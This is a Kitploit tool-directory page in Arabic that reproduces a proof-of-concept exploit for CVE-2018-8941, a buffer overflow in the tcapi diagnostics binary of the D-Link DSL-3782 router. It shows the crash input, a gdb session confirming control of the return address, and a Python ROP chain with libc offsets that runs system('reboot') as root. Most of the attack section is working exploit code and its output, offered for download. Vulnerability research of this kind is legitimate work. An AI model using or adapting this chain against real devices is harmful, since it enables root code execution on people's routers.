Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-8941 — D-Link DSL-3782 تنفيذ الأكواد (إثبات المفهوم) | Kitploit
أدوات/GitHubGitHub/secforce/cve-2018-8941
أمان الأنظمة المدمجةتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كوداختبار الاختراقأمان الأجهزة وإنترنت الأشياءتطوير الحمولاتاستغلال الملفات الثنائية
GitHubsecforce/cve-2018-8941

CVE-2018-8941

D-Link DSL-3782 تنفيذ الأكواد (إثبات المفهوم)

9916منذ 8 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2018-8941: D-Link DSL-3782 تنفيذ كود (إثبات الفكرة)

آدم سيمونتيس :: https://twitter.com/adamsimuntis

ميندوغاس سلوشنيس :: https://twitter.com/mislusnys

تم العثور على ثغرة تجاوز سعة المخزن المؤقت في الملف الثنائي "/userfs/bin/tcapi" والذي يُستخدم كغلاف لوظيفة "التشخيص" في واجهة الويب الرسومية.

يمكن لمستخدم مصادق إدخال مخزن طويل جدًا كمعامل 'Addr' إلى الملف الثنائي '/user/bin/tcapi' باستخدام دالة 'set Diagnostics_Entry' والتسبب في تلف الذاكرة. علاوة على ذلك، من الممكن إعادة توجيه تدفق البرنامج وتنفيذ كود عشوائي.

root@kitploit:~
adam@expdev ~ $ file userfs/bin/tcapi
userfs/bin/tcapi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

يمكن استغلال الثغرة على النحو التالي:

root@kitploit:~
adam@expdev ~ $ sudo chroot . ./qemu-mips-static userfs/bin/tcapi
set
unset
get
show
commit
save
read
readAll
staticGet
adam@expdev ~ $ sudo chroot . ./qemu-mips-static userfs/bin/tcapi set
set <node_name attr value>

adam@expdev ~ $ sudo chroot . ./qemu-mips-static -g 12345 bin/tcapi set Diagnostics_Entry Addr `perl -e 'print "A"x596 . "BBBB"'`                                                                     ⏎

adam@expdev ~ $ gdb-multiarch
gdb-peda$ set arch mips
The target architecture is assumed to be mips
gdb-peda$ set endian big
The target is assumed to be big endian
gdb-peda$ target remote localhost:12345
Remote debugging using localhost:12345
Warning: not running or target is remote
0x409a7e76 in ?? ()
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Warning: not running or target is remote
0x42424242 in ?? () 

gdb-peda$ i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 f8ffffff fdffffff 00b07176 05000000 98edff76 11000000 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   906d7976 8c837e76 8c837e76 00907f76 00907f76 00907f76 18000000 205e7d76
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  41414141 41414141 41414141 41414141 05000000 f0064000 20094000 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  21000000 50697276 00000000 00000000 50e67e76 d8f0ff76 00000000 42424242
            sr       lo       hi      bad    cause       pc
      10000020 5f1a0000 fc010000 42424242 00000000 42424242
           fsr      fir
      00000000 00937300

لدينا تحكم كامل في عنوان الإرجاع بالإضافة إلى عدد قليل من السجلات الأخرى.

يمكن بناء سلسلة ROP كاملة لتنفيذ 'system("reboot");' كمستخدم جذر على النحو التالي: (تم تعطيل ASLR لأغراض الاختبار.)

root@kitploit:~
import struct

# حيث أننا نستغل من خلال واجهة الويب، فقد تم الحصول على توزيعات الذاكرة للعملية الثنائية (/proc/`pidof boa`/maps) من الملف الثنائي '/userfs/bin/boa'
libc_base = 0x2b02b000 
# 0x59bb0, الإزاحة إلى system()، endian كبير
libc_system = struct.pack(">I",libc_base+0x59bb0) 

rop_pad = 'A'*580

# 3: القفز إلى system() من libC، $a0 يحتوي على الوسيطة
s0 = libc_system

# 2: تحميل الأمر المخزن من $a1 إلى $a0 ثم القفز إلى الأداة التالية عند $s0 -> system(cmd)
#.text:00041980                 move    $a0, $a1
#.text:00041984                 li      $a2, 0xC
#.text:00041988                 move    $t9, $s0
#.text:0004198C                 jalr    $t9 ; memset

s1 = struct.pack(">I",libc_base+0x41980)
s2 = 'BBBB'
s3 = 'CCCC'

# 1: تحميل الأمر المخزن على المكدس عند ($sp+0x168) إلى $a1 ثم القفز إلى الأداة التالية عند $s1 ^
#.text:0000C654                 addiu   $a1, $sp, 0x168+var_150
#.text:0000C658                 move    $t9, $s1
#.text:0000C65C                 jalr    $t9 ; stat64

ra = struct.pack(">I",libc_base+0xC654)

payload = rop_pad + s0 + s1 + s2 + s3 + ra + "reboot;"*10

الاستغلال الناجح سينفذ 'system("reboot;")' كمستخدم جذر، مما يتسبب في إعادة تشغيل الجهاز.

تنزيل الأداة